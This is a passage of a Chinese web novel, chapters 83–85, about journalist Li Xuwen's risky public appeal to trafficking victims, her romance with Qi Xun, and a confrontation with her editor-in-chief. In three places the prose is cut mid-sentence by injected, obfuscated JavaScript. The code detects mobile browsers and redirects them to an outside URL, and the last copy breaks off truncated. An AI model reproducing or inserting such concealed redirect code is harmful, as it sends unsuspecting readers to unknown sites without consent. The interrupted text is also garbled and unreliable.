“你凭什么装成这样,谁让你说的,你是不是拿钱了?” “你会遭报应的!” 这几句很快被不停冒出的弹幕顶到最上面,然后一条一条消失了。 黎叙闻瞬间心跳加速,手抖得几乎连手机都拿不住。 她以为受害人就算出现,也会遮遮掩掩地在后续打电话来,没想到小茉一句添油加醋,直接在评论区把真正的受害者炸了出来! 她赶紧往上翻到顶,正要点那串数字ID的瞬间,手机屏幕陡然一黑—— 直播已结束。 83. 第 83 章 与此同时,某个为人所不知的微信群里,一群无关紧要的人,正忙于一场无人在意的争执。 大红:你是不是有病?谁让你发疯的?@青苹 蓝紫:就是啊给我吓呆…… 青苹:我就是看不上他们那样美化!还给药吃,哈哈 大红:人家那是钓鱼呢你看不出来吗?你是傻X? 阿绿:别吵架,大家别吵架 大红:你TM懂个屁,人家查IP就能查到地址!@青苹难听的话我不多说,你退群吧 橙光:有必要骂这么难听吗,还退群,反正我们也打算找律师,我觉着不能再等了,要么就直接趁机爆了 橙光:@青苹你别害怕,冷静一点,一会儿我给你打电话 蓝紫:大红说得有道理,找也不能找那个姓靳的,绝对有猫腻@青苹你消停点,当心让人盯上 橙光:别圈了,她退群了 …… 黎叙闻盯着手机屏幕,在原地愣了两秒,立刻冲回直播间,从乱作一团的工作人员中抓住靳言:“怎么回事?” 靳言道:“直播间违规,被平台掐了。” “哪里违规了?违禁词?” “靳律师!”背后有人喊:“平台反馈说有人投诉侵权。” 黎叙闻站在一片噪杂中,终于明白过来。 蔡道全那边看到直播,开始行动了。 动作也真是快。 “黎记者,”直播助理凑上来:“刚刚的弹幕截图我发你了,你看看能不能用到?” 黎叙闻道了谢,在搜索框输入了那串数字ID。 不出她所料,账号已经注销了。 这场钓鱼轰轰烈烈地开始,连个泡泡都没捞着,就兵荒马乱地结束了。 不过还好,起码她知道了真的有幸存者看到了这场直播,如果她们足够细致,应该能辨别出这些细节的来源,然后放下防备,主动找来。 但这种主动权不在自己手上的感觉真的太虚了。 黎叙闻用力握拳,又松开,手掌出了一层濡湿薄汗,可那种惊惶的失控感,仍旧一丝不减。 靳言走过来,问她:“下一步你打算怎么办?” 黎叙闻默不作声把沮丧咽回去,思索片刻道:“先按原计划,把直播切片做出来。” 她低头盯着手机屏幕上那一行灰色的“账号已注销”:“尽人事,听天命。” …… 安慰好自责得哭到打嗝的小茉,又跟靳言聊了聊,黎叙闻收到切片视频的时候,已经到了深夜。 她又开始犯难了。 要发切片,得找齐寻帮忙,借用他的关系找宣传的人,把切片尽可能推广开。 但她现在见到齐寻就有点…… 尴尬。 甚至比一开始两个人飙演技演恩爱小夫妻的时候,还要尴尬。 因为每次见面她总想跟他解释点什么,但自己也不知道到底该解释什么,再加上齐寻那张每每让她心跳加速的脸,就更不知道该说什么了。 而且齐寻也…… 不是很想理她。 但现在毕竟人命关天,不是她因为个人感情扭捏的时候。 她点开微信,深吸一口气,决定给他发一条正常的、不让他看出任何端倪的、并不低三下四、也不会暴露她心猿意马冲动的消息: 叙我所闻:你过来,我求你点事儿。 齐寻正在棚里,对着素材一点一点抠台词,看到这行字,直接气笑了。 本来喝了酒就头疼,被她一气,更感觉酒劲上涌,话也不想说,随手扔了个定位过去,就去休息室躺了。 喝完酒的人是最有出息的,管你是谁呢,爱来不来吧。 他闭了会儿眼,又睁开,把手机音量开到最大。 天凉了,到时候打电话他听不见,别在外面感冒了。 黎叙闻收到定位,发现这地方都不在市区,但也不敢怠慢,直接打车到了定位点,一下车就惊了。 一座巨大的白色平层建筑静静地跟她在黑夜中对视,而跃入她眼帘的,是个三个巨大的字母。 WEN. 三个水墨风的字母下面,跟着一行小字:电影声音工作室。 她心跳猛地漏了一拍。 这地方是他的吗? 所以这名字……是不是也跟她有关? 她走上前,上手轻推玻璃大门,稍一用力,竟然推开了。 空旷的入户门厅中只有她小心的脚步声,接待台空着,角落里的钢琴和夜色一同沉默。 “齐寻?” 他的名字跟着回声一起荡在空中,听起来有种别样的陌生。 有人听见声音,从后面的控制室里探出头,明显熬夜熬得精神都恍惚了:“你谁啊?找谁?” 黎叙闻:“你好,请问齐寻在……” “老板?”那人不耐烦听后半句,冲着走廊尽头喊了句,却没得到回音。 “可能戴着耳机,你直接进吧。”他遥遥一指:“最里面。” 黎叙闻道了谢,一路边东张西望,边往里走,目之所及都是看着就贵上天的机器,还有很多各式各样的话筒和道具。 原来这就是他的生活,她想。 认识这么久,一起经历过这么多,她连他平时工作的地方都是第一次来。 最里面是间最大的控制室,整个房间大亮着,电影画面兀自播放,音响中对白潺潺作响,桌上几个显示屏画着不同的声波和列表,旁边甚至还摆着一杯喝了一半的浓茶。 有一股淡淡的酒气,萦绕在这里。 黎叙闻往左看,一间小隔间房门大敞,齐寻躺在沙发上,似乎睡着了。 原来是喝多了,难怪听不见她来。 她却没出声,受了蛊惑似地,放轻了脚步,慢慢地、一步一步走到他身旁。 他鼻息很重,仍然没有醒来。 周身的酒气把他整个围住,现在她走进来,好像也一并陷进了酒池里。她轻轻蹲下身,从他的喉结开始,用目光一寸一寸描着他的轮廓。 下巴……轮廓锋利,已经泛起了淡青色的胡茬,嘴唇……红润,而且实践出真知,真的好亲,鼻子……很高,好看,就是接吻的时候有点碍事,眼睛…… 他忽然睁开了眼睛。 黎叙闻吓一跳,嚯地站起身,撇开脸:“醒了?难得睡这么死。” 齐寻躺着一动不动,看着她。 从她走进门厅的第一步,他就听见了。 可他就是不想起身,哪怕一次,他就是想听着她一点一点向他靠近。 但他没说,只是坐起身拿过手机点了两下,扔在面前的茶几上。 黎叙闻低头看,屏幕上是一张二维码名片。 “搞宣传的,他们有KOL矩阵,能给你推你的直播切片。” 他手肘撑在膝盖上,面无表情地抬头看她:“你找我不就为了这个么。” 黎叙闻反应了半秒:“所以你就是跟他喝的酒?” “不然?”齐寻笑了声:“人家凭什么帮我?” “可你今天晚上才知道我搞了直播,怎么这就……” “我听到那个电话,就猜到你要做什么了,”他声音平淡:“等你来求我,我看你调查也别做了。” 他今天讲话似乎特别犀利,特别不顾及,黎叙闻本能地想甩脸,又转念一想,他平时对别人,好像就是这个样子。 她在一阵恍惚懵懂后,猛然明白,或许这就是他的选择。 既然他退回了该在的位置,那她也就不用选择、不用扭捏了。 心口却在这种尘埃落定中,恍然地豁开了一道伤口,疼得她眼底泛泪。 她垂着眼,盯着那名片咽了咽,拿出手机扫了,对他点头道:“多谢,等事情结束,请你吃饭。” 说完这句,她一刻都等不了了,握着手机转身就要走。 在她转身的一瞬间,侧腰忽然传来一股巨大的拉力,她连反应的机会都没有,直接摔进了一个坚实的怀里。 “请我吃饭?我缺你那顿饭?”齐寻一转身,弓起身体将她圈在墙角,低头逼视她,恨不得跟她额头相抵:“黎叙闻,你有没有良心?” 按在肩上的手掌几乎要将她骨头捏碎,他身上的体温烘着醉意,轰然爬上她的身体,困得她动弹不得。 这种毫不掩饰的压迫感让黎叙闻本能地瑟缩,撇开脸不敢看他的眼睛,只能挣扎着小声道:“齐寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121690|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,齐寻你喝多了……” “我喝没喝多不用你管。”他捏起她的下巴,迫使她抬头看人:“你不是问我我们之前有没有见过?你看到这工作室的名字了吧,你还要问吗?” 黎叙闻被迫抬头看着他,神色怔怔然。 这时门外倏而传来一阵拖沓的脚步声,然后是饮水机聒噪而漫长的流水声,还有困倦的哈欠声。 黎叙闻蜷缩在角落,轻声道:“外面有人。” “他们不敢进来,”齐寻不为所动,手上力道不减:“敢跟我来来回回拉锯的,就你一个人。” 这话简直是从齿关里挤出来的,听得黎叙闻心上的那道伤口,又开始新一轮钝痛。 但她依然坚持:“不在这,不在这说。” 齐寻一哂,慢慢松开她,她还没喘上一口气,手腕蓦地被他拉住,没反应过来,就踉跄着被拉进了旁边的一个小房间。 黎叙闻整个人靠在墙上,硬质触感透过厚实的吸音棉,直抵她僵直的脊背。 齐寻抬脚踢上门,仍将她困在身前,仿佛稍拉开距离她就跑了似的:“你要说什么,说。” 他垂着眼,隔音室悬顶的白炽灯在他眼下投下一片淡色阴影,眼底复杂的情绪浓得化不开,脸上依然没有表情,可呼吸一下重似一下,像在极力隐忍什么行将喷薄的东西。 隔音室里听不见外面任何声响,连说话声都因为没有回音混响而变得短促而干涩,可两人靠得极近时衣料的摩擦声、带着滚烫热意的呼吸声,还有相贴的心跳,竟变得无比清晰。 黎叙闻自下而上看着他,甚至能听见自己的血液一路奔流,直直冲向大脑的声音。 “我不问了,”她说:“我们是不是见过,这个问题,我不想再问了。” 她能感到自己的某些理智在这瞬间缓慢、但无可挽回地土崩瓦解:“那不重要。” 齐寻弓着身子,肩膀碰上她的,胸膛在她胸口处剧烈起伏,体温刺破她轻薄的夏装,轻而易举地攀上她的皮肤,而他声音艰涩得像铁:“那什么重要,黎叙闻,你跟我说,在你眼里,什么才重要?” “你重要!”在步步紧逼的压迫下,她几乎喊出来:“你是你,这最重要!” 齐寻布满血丝的眼睛直直盯了她几秒,忽然一头栽在她肩膀上。 黎叙闻以为他不舒服,急着要去看他,却猛地听见一声极低、极压抑的抽泣声,像直接挫在她的耳膜上。 她被这一声逼得流泪。 心底泛起的滚烫波澜落进他发间,她用侧脸抵着他的短发,哽咽道:“我没办法现在就给你说清楚,因为这件事太重了,我需要一段心无旁骛的时间,好好地、完整地跟你解释清楚。只有这样,我才能对得起你,对得起你所有、所有的真心。你能明白吗?” “什么时候,”他喉结难耐地滚动,声音哑涩得听不清:“什么时候?” 他将她整个揉进怀里,手指将垂展的衣料攥得极紧:“什么时候,什么时候,什么时候?” 这一声声带着他的体温、他的气息,无孔不入地钻进她全身每一个毛孔,每一点缝隙,黎叙闻被灼热的温度逼得身体绵软,实在支持不住,双手攀上他的脖颈,轻轻吻住他的耳垂。 把她罩住的人明显地颤抖了一下,又变本加厉将她箍得更紧,细密湿热的啄吻并不温柔,从她侧颈一路蔓延而上,也印上她的耳垂,然后狡猾地绕路,到了她的耳后。 有一道湿润的、轻柔的触感,出其不意、毫无犹豫地,落在了盘曲在那里的小蛇身上。 一阵火花闪电瞬间从她的尾椎骨直直刺向大脑,她气息猛地凝滞,搭在他后颈剃发处的指尖蓦然收紧,几乎要刺进他的皮肉里。 那显然是她身上一处隐秘的开关,她压抑的、说不出口的一切,都随着这个开关倾泻而出。 于是她也以双唇直白热烈地回应他,湿润的水声与沉重而杂乱的呼吸交织,在隔音室中格外旖旎靡丽。 黎叙闻在这片刻的疯狂放纵中,悄悄地落下泪。 不会太久了,她在心里说。 真到了那一天,你还会选择我吗? 隔音室中听不见她悲伤的心声,她也绝不会在今天,就听到她想听的那个答案。 84. 第 84 章 这次代价极大的推广,总算在第二天晚上的黄金时段,陆续铺展开了。 效果也是立竿见影,短短几个小时,讨论度大幅上升,有很恐惧激进的评论,也有人担心她们为了热度自导自演,但绝大多数人都持观望态度,说“让子弹飞一会儿”。 靳言那边很快被有关部门要求配合调查,黎叙闻陪她一同说明情况后,收到了一次严正的提醒。 黎叙闻第一次遇到这种事,愧疚得紧,靳言倒看得开:“法不禁止即自由,他们这种态度,已经称得上是种默许了,只要……” 黎叙闻蹙着眉:“只要真正的受害者出现,这些都不是问题。” 可一旦失败,她们本人、靳言的公益中心、甚至商报会面临什么样的信誉崩塌和行政风险,就真的不好讲了。 她回报社把这进展跟季筝同步了,季筝没什么反应,只淡淡提醒:“悠着点,你进去是小事,别把商报拖垮了,我还得吃饭。” 黎叙闻:“……” 还真是一如既往、令人绝望的聊天技巧。 季筝忽然道:“哦,还有一件事。” 她话没说完,黎叙闻就听见主编办公室外面有人在轻声抽泣,扭头一看,竟然是小茉,红着眼睛跟小兔子似的,躲在门后等她。 黎叙闻木着脸,回头去看季筝:“你说的该不会是……” 季筝坦然点头:“说了把她借给你,自己的人自己去哄。” 黎叙闻捏了好半天的眼角,才硬着头皮出门,拉小茉到茶水间,泡了杯茶给她。 小茉抽抽搭搭接过来,捧在手里也不喝。 “小茉,”黎叙闻拿出十二分的耐心:“如果我没记错,咱昨天是不是已经哄过一轮了?” 小茉红着眼睛:“那今天不是又有进展,把人家靳律师也连累了嘛。” 黎叙闻苦笑:“你昨天不说那句话,难道我们就不做推广,就不会被盯上了?” 说这话她自己都心虚。 可能还真不会。 昨天直播如果顺利结束,现在的讨论最多集中在“那个电话是不是真的”上,而真正的受害者,仍然会躲在屏幕背后安静地窥视,等待一个合适的机会。 而不是像现在这样,从水底被炸出来,然后又被生生掐断。 “但如果你不那么做,我们永远都不会知道幸存者是不是真的存在。小茉,这件事你居首功。” 黎叙闻塞了张纸巾在她手里:“所有风险我们在做事之前都已经预料到了,既然要做,就不会抱怨退缩。你不是也一样,明知道给我当肉盾有风险,也还是去做了?” 小茉被她说得忘记了抽噎,愣愣地看了她很长时间,倏而腼腆地笑了。 闻姐夸她了耶。 “我当然要保护你!”小姑娘一被夸就有点摆不住,哭腔还没退呢,侧颊就飘起了红晕:“又没前途钱又少,要没点理想主义,谁干新闻呀!” 黎叙闻好不容易摆出来的柔和笑容瞬间凝固在脸上。 话糙理不糙可是妹妹你这话是不是也太糙了! “闻姐,我觉得纸媒好像也没有很差。”小茉眼睛亮晶晶地看着她:“因为有你。” 即使是黎叙闻这样平时不怎么袒露柔软的人,也被这句话温柔地击中了。 像此时清朗的天空和暖人的阳光一同照进心里,压在她头上层层叠叠的高压锅盖,被这句话稍稍松了一瞬间。 是哦,她想,纸媒好像也没那么糟糕。 柔旎的氛围遽然被刺耳铃声打断,黎叙闻冲小茉一点头,小茉很识趣地哒哒哒跑回去了。 她低头一看,是齐寻发来的一段录音和一条消息: 齐寻:这是剧组摄影师的录音,我已经把所有能辨识他身份的声音特点全部修掉了。他说如果你需要,可以公开发布,但要求完全匿名。 黎叙闻疑惑着点开录音,听了一句,瞬间头皮发麻—— “是,我给他们拍过非公开广告,我能证明,有一个姓谭的高管,在片场提过,她计划就是个幌子!” …… 那晚过后,齐寻日复一日累积的不安确实被稍稍安抚,但她对他再缱绻、再温柔,也还是没给他一个确定的答案。 是还在犹豫挣扎么?还是那晚的一切都仅仅是缓兵之计,只因为她还用得到他? 所以在连熬37个小时、在录音棚门口见到柳北那个姓赵的摄影师时,齐寻仍沉浸在这些思绪里,只是面无表情地看了一眼,没有直接贴脸让他滚。 这种默许似乎给了摄影莫大的勇气,他戴着鸭舌帽,帽檐压得极低,原本只是一脸纠结地张望,现在反而快步走上来:“齐老师……” 齐寻淡声问:“有事?” 摄影四下看了看,上前一步直接拉住他:“齐老师,那个视频,……是黎记者放出来的?” 齐寻轻哂:“有你什么事?” 摄影欲哭无泪:“所以咱拍的那个项目,真的是违法的?” “把话说清楚,”齐寻似笑非笑地拨开他的手:“我没参与,是你,你们。” 说完他抬脚就走,两步之后,脚步忽然顿住。 ——如果这个人,能成为一个契机呢? 这一次,他不想再等了。 她不选他,没关系,那他就成为那个让黎记者无法忽视的战友和搭档。 她要是不想向他走来,那他就只有用自己的方法,把她拉到自己这边来。 齐寻忽然回过身,对灰头土脸的摄影道:“你来找我,是有什么想说吗?” 摄影听到这一句,身体蓦地抖如筛糠:“不,不,没有,我什么都不知道。” “哦,”齐寻平静地点点头:“那好,那过两天抓人,应该不会抓到你头上。” 说完又转身,手还没摸到车钥匙,就被冲上来的摄影汗津津的手掌握住:“齐老师,我手上有料。” 齐寻看上去兴趣缺缺,也不问,只等着他开口。 摄影慌乱地咽了咽“我们当时在第二片场,跟一个姓谭的聊过几句,他说……” 齐寻挥手打断:“你跟我说有什么用?我是记者还是警察?” 摄影张着嘴蓦地一愣,而后变本加厉抱住他的手臂:“可你认识黎记者!齐老师,你帮帮我,我……” 齐寻冷笑:“你对她出言不逊的那笔账,不算了是吗?” “齐老师!”摄影忽然提了声:“您掉包我硬盘的事,我可谁都没说!” 齐寻看了他半天,啧了声:“为什么不说?我求你保密了?” 摄影嗫嚅片刻,低头道:“那时候我已经知道他们在玩花的,我、我就想着如果黎记者能查出来,我也对得起良心了。” 齐寻比他高了半个头,这时候居高临下看他可怜兮兮的样子,心知差不多了,便松口:“你想说什么,我可以给你录下来,也可以把你的音色、停顿、重音、口癖全部修掉,彻底抹除你的身份,但我有个条件。” “什么条件?” “拿到剧组其余人的采访录音,”他将自己的一支随身录音笔拍进摄影怀里:“然后这件事,不要再对任何人提。” …… 这段被完整修过的音频,此时就躺在黎叙闻的手机里。 这份录音里包含了很多当时第二片场的细节,包括拍摄内容、工作人员之间闲聊时带出的边角料信息、还有两句非常致命的证词: “当时那个谭经理说,影姐那边拍差不多就得了,还是紧着这边,实在拍不完,也不能耽误这边的事——那就是个不正经的广告啊。” “有一次我们凑一起抽烟,抱怨柳北连能抽的烟都买不到,他也说,怨不得这的人穷,就是蠢啊,什么都信。有人问她们信什么了?姓谭的好半天没说话,最后笑着说,信那个计划啊。” 这两句话指向性太明显,完全就是在贴脸了,一旦发出去,谁都不能再用含沙射影的方式避嫌,她跟蔡道全之间,将正式开战。 但问题就是,这份录音,到底应该怎么用? 两天过去了,她依旧没有受害者的任何线索,而她手上的这些证据也好,经历也罢,最多只能告个他诈骗,真正的罪行,很可能被他用各种手段遮掩过去,那所有的一切,就都白费了。 现在还不是发正式报道、披露证据的时候。 那该怎么办,她要一直这样被动地、安静地等下去么? 等这波切片推广的热度慢慢降下来,下一步又该怎么走? 黎叙闻坐在工位上,把手机屏幕点亮又息屏,点亮又息屏,那条致命的录音,就这样在她面前来来回回地闪现。 热搜上一天换八百个热点,公众的注意力被无限度地分散,集中力量推上去的热度如果没有后续,很快就会无以为继,跟一堆数据垃圾一起,被遗忘在角落里。 她等不起了。 某次息屏之后,黎叙闻蓦地将手机扣在了桌面上。 她想起了吴檀的一句话。 “你以为你是什么寂寂无名的人吗?” 她呼吸陡然凝滞,一条疯狂但唯一的道路,忽然在她眼前缓缓铺开。 ……可是,代价呢? 大办公室中一如既往忙碌而有序,电话铃声和讨论声骤然飘远,嗡煌地充斥在她的耳边。 她像之前每一天一样,抬头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128085|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去看远处窗外的天空,可这一次,她余光扫到的,却是贴在编辑部墙上的、每个人都熟视无睹的标语—— 公正、客观、理性、责任。 年代久远,颜色斑驳而暗红,像干涸了的血。 她盯着这八个字看了一阵,低头取下颈间的工牌,轻轻放在了桌上。 …… 当天下午,视频切片的讨论度仍居高不下,而相关话题中,忽然出现了一篇内容炸裂、痛声疾呼的长文,带着一段处理过的采访音频,一经发布,便引起所有人的关注。 发文账号,京屿商报记者,黎叙闻。 文中记录了过去一个月内在柳北发生的一系列骇人听闻的故事:一个原本去做人物专访的记者,是如何探听到了某个底层女性就业计划的内幕,继而发现该公司与某企业家勾连,他们企图骗走与记者相识的未成年少女,记者冒险搭救后,又是如何被威胁、被追捕,明明证据在手,却因为缺少受害者,整个调查面临流产,而幕后黑手依然逍遥法外、稳坐高台。 整篇文章一改她曾经冷静客观的纪实风格,充满了死里逃生的后怕、无路可走的孤绝,还有孤注一掷的恳求。 “如果你在看,我知道你在看,请你,请你们,帮帮我,帮帮那些陷入危局的姐妹,我个人的安危不足挂齿,但我无法眼睁睁看着我的搭档、我的线人、还有那些已经无法开口的女孩们,最后的一点希望也随着热度慢慢消弭。” “我是京屿商报记者,黎叙闻。我承诺我会顶住压力不删帖,如果这条微博消失,一定非我所愿。我在这里,商报在这里,只要你出现,我们一定有办法,洗去你之前的阴影。” “你值得一个新的开始,而世界值得一个真相。” 十分钟后,热搜终于爆了。 半小时后,警察上门了。 上门的民警态度倒是客气,询问了各种细节后,问她:“按照你的说法,这涉及刑事犯罪,你为什么选择先引导舆论,而不是第一时间报警,提交证据?” 黎叙闻叹息一声,翻出手机,给他展示了所有手里的证据,反问道:“就这些,没有受害者,能立案吗?” “案件的侦办属于警方权限,需要调查后由司法机关认定。”民警摇头:“如果案件涉及人口拐卖,我们有专门的侦查手段,受害者即便不露面,也可以通过外围调查确认情况。” “她们要是愿意直面警方,为什么一开始不报警?”黎叙闻按着刺痛的额角:“她们谨慎到了神经质的地步,如果突然被警察找上门,有多大可能会好好配合?” 警员沉默了一阵,道:“但这些,都建立在你没有撒谎的前提下。” 黎叙闻一愣,继而被这句话彻底激怒:“你的意思,我花这么多时间,费这么多力气,就是为了博人眼球,哄你们玩?” “为什么不可能?到现在为止,你个人收到的关注,是之前的多少倍?”警员严肃地盯了她一阵:“如果受害者最终不配合,你要怎么证明你不是造谣?” 黎叙闻搭在桌子边缘的双手,慢慢地握紧,紧紧攥成了拳。 她没办法。 “你是媒体工作者,应该清楚,造谣不是没有后果的。如果我们认定你是在捏造事实,会追究法律责任。”警员视线扫过她的手,语气冷肃:“不仅仅追究你个人,还有京屿商报。” …… 警察离开后,商报编辑部已经乱作一团,而黎叙闻本人正在洗手间里,吐得昏天黑地。 她太害怕了。 她亲手敲下的每一个字,好像都在对她宣布,她的职业生涯完蛋了。 今后所有业内人士提起她来,都会哂笑一声说,哦,是她啊,那个极具煽动性、毫无理性客观可言的网红。 她或许再也没资格说,我是调查记者,取而代之的,也许会是什么别的名字,比如那个写手、那个演员、那个一己之力毁了纸媒最后声誉的丧门星。 外面兵荒马乱,电话声和脚步声响成一团,洗手间似乎处在龙卷风的暴风眼上,明明在风暴中心,却诡异地寂静。 黎叙闻在一阵阵胃部的痉挛抽痛中,抬头看镜子里的自己。 苍白虚弱,眼底猩红,与其说是一个成熟的记者,不如说是一个无措的孩子。 手机响到爆炸,她根本无心接,又不敢关机。 她还得等那通似乎永远不会打进来的,受害者的电话。 一阵急促的脚步冲进洗手间,小茉的声音:“闻姐!” 黎叙闻漱了口,抬头对她笑:“嗯?” 小茉看她这个样子,嘴一扁又要哭,却生生忍住:“总编,马总编,叫你去办公室。” 85. 第 85 章 从踏出洗手间的那一刻,黎叙闻就恢复了平日的模样。等她顶着各异的眼光一路走到总编办公室门前站定,她脸上已经变成了平静笃定的表情。 只是没有立刻敲门。 可门却从里面开了。 马颂今肃着脸将她让进门,把厚重的实木门板嘭地关上,拉下了所有面对着办公室的百叶窗,转身把手机扔在桌上,看着她:“解释。” 黎叙闻垂着眼,凝视屏幕上每一个她亲手打下字,一言不发。 “我已经懒得跟你说什么理性客观这种片汤话了,”马颂今坐回办公桌后:“黎叙闻,我就问你一个问题,你到底是怎么想的?” 黎叙闻慢慢抬起眼睛看他。 总编办公室真的很宽敞,宽敞到她站在办公桌前,觉得离总编那么遥远。 这里永远飘着好闻的油墨气息,她从入职的那一天,就一直闻着这种气味,把新闻的公正理性和这种味道一起腌进她的生命里。 直到今天。 “是,我知道这篇文章有问题。”她说。 马颂今哼笑了声:“少跟我来这套。你写的这是什么?”他蓦地提高声音:“我问你你写的这是什么东西?” “误导、偏颇、煽动!视新闻公信力为无物!”他直接把手机掼过来,狠狠砸在黎叙闻身上:“商报没有你这样不合格的记者!” “谁教你写这种玩意?季筝教的你?我教的你?!”越到最后他越是怒火冲天:“你到底想干什么?我看记者你别当了,总编的位子给你坐!” 黎叙闻闷不做声挨了这一下,心脏在胸腔里奋力地蹦,噎住她的喉咙。 半晌,她终于松开紧咬的下唇,开口解释:“我知道这篇微博对记者来说非常不合适,这不仅仅会影响我个人的职业生涯,或许对商报来说,也会带来不可挽回的名誉损害。但我权衡再三,不得不承认,这是我能想出的唯一的方法。” 她听见自己的声音几乎淹没在擂鼓心跳和耳鸣里,显得冷静而空茫:“有太多人的信任和努力放在我身上,我不能因为害怕就扔下这些责任,跟他们说对不起,我帮不了你们,等以后机会成熟,你们再想其他办法。”她神色平静地看着马颂今:“我做不到。” 马颂今一拍桌子:“所以以后都不做记者了你就做得到!” 黎叙闻眉心几不可查地抽了抽,低下头,不做声了。 马颂今气得手抖,好不容易从烟盒里磕出一支烟,咬在嘴里,摸遍浑身却没摸出火机来,烦躁地把烟夹回指间,良久,忽然笑了一声。 “闻闻,你也不为马叔想想么,”他声音低下来,带着点平日掩藏得很好的苍老:“马叔这把年纪了,马上就护不住你了。” 他垂着头,又笑一声:“你们老黎家的,有一个算一个,都这么难搞。” 黎叙闻猛地攥起手掌。 这句话长了一条尖利的指甲,在她心上猝不及防抓了一把,将她的勉强端持撕开一道狰狞的口子。 她低着头,身体震颤着忍了又忍,眼泪却像开了闸一样,不听使唤地从那个口子里奔涌而出。 先是压抑的、小声的抽泣,后来渐渐地,成了决堤的、崩溃的呜咽。 她断续地、抽噎地说:“马叔,可是我真的不知道该怎么办了……” “我要怎么办,要怎么办?影姐和珍妮一路跟着我来京屿,我的线人冒着生命危险把证据交给我,齐寻为了这件事,命都险些搭上了。这件事到了这个地步,每个人都在看,如果我败了,是不是就意味着拐卖产业链不容触碰,以后会不会有更多人受害?” “所有人、所有人都在看着呢……” 她终于忍不住,抬手捂住眼睛:“马叔,要是我不做记者了,是不是一切就都好了?” 她不想犯错、不想成为别人的负担,最后却让从小看她长大的马叔这么为难。 她热爱新闻、追求公正,最后却发现公义要以她的职业生涯为代价。 她不愿辜负身后所有人的期待,最后却必须承认她能力有限,拼尽全力却还是让一切都成空。 她这辈子都在试图证明她比父亲强,最后却发现,只要身在局中,她甚至根本到不了父亲的起点。 在那条微博发出去之前,她就已经后悔了。 她不愿承认,却又不得不承认,其实她根本承受不了失败的代价。 马颂今沉默地看着她,深深叹了口气,纸巾都抽出来了,却没起身递给她。 “上次救援队那个事,我批评你立场不中立,我知道你听进去了。所以这次你是想好要用你的专业立场,换一个结果,是吗?” “商报总编不会问你这句话,但你叫我一声马叔,我得问你,你押上所有,去换一群陌生人平安,还不一定能赢,你觉得值得吗?” 黎叙闻慢慢抹掉眼泪,声音还哑着:“去做不一定能成,但如果不做,这样的记者,还值得当吗?” 马颂今先是沉默,而后哼笑着一哂。 听到这句话他就知道,劝不回来了。 也是啊,谁年轻的时候,没有过这一遭呢。 “三天,”黎叙闻带着浓重鼻音,但出口的话已经平静下来:“我只要三天,如果到时候还没有进展,我发帖道歉,调离社会组,以后不再用调查记者的权限,可以吗?” 马颂今眉头紧紧拧着,深吸一口气。 “行了,”他终于起身,把纸递给她:“整理一下,你现在还是记者,当记者,一定要平静体面。” …… 热帖的连锁反应很快像一阵狂风一样席卷而来:公众纷纷猜测这一切是孤注一掷还是哗众取宠,某些眼疾手快的大V已经着手起底了几家在柳北附近活动的慈善机构,以及近年来活跃的一些底层女性帮助计划,很快就锁定了几家相互勾连、明里暗里有密切关系的公司。 紧接着,这些公司由蔡道全的“还有明天”慈善基金会牵头,共同发表联合声明,澄清传言与他们无关,并严正警告商报和黎叙闻,保留追求法律责任的权利。 与此同时,靳言所在的法律咨询公司也发声,旨在为潜在的受害者们提供法律援助,确保她们的安全。 京屿商报也发布了匿名举报通道,保护受害者隐私。 一场舆论战轰轰烈烈拉开帷幕,而这场战争的关键,就握在某几个无人在意的女人手里。 阿绿:热搜你们看到了吗?不会是真的吧…… 大红:别理,这些记者没一个好东西 橙光:我怎么觉得她还挺真诚的…… 大红:真别信,肯定是演的,你只要一出头,就完了! 蓝紫:我也觉得,还是小心些 大红:都稳住了,找律师的事也先停停,这阵风头过了再说 阿绿:对对,听大红的。对了,上次给咱们汇款的人,成功跑掉了吗? 橙光:不知道,别打听,就这样都不知道对方的身份,是最好的 阿绿:也对……我还想谢谢她呢…… …… 当天下午,黎叙闻正排查匿名邮箱中数不清的邮件,小茉突然跑过来,急道:“闻姐,咱们发的那些视频,好多都不见了!” 黎叙闻赶紧上线一看,发现所有发送视频切片的微博,全部挂了。 这还不止,她自己那条带录音的长文,也被强制隐藏,无法转发无法评论,连热搜也从高位直接消失了。 ……想也知道是对方给平台施压,根本用不了三天,不到一天就被制裁得彻底。 可越到这个时候,黎叙闻竟然越是平静。 能做的都已经做了,如果这样仍是不行,那交出工牌和记者证,她只能当是天意。 她握住自己的工牌,看着照片上飞扬笃定的笑容,只觉得愧对那个刚入职时的自己。 切到自己的首页,点开私信,密密麻麻的红点简直让她起鸡皮疙瘩,在所有的谩骂、安慰、看看X的垃圾信息中,有一条私信,显得尤为格格不入。 布偶与小金毛:太妹,你那视频原文件发我 布偶与小金毛:快点,趁他们还没删完 布偶与小金毛:过时不候 黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 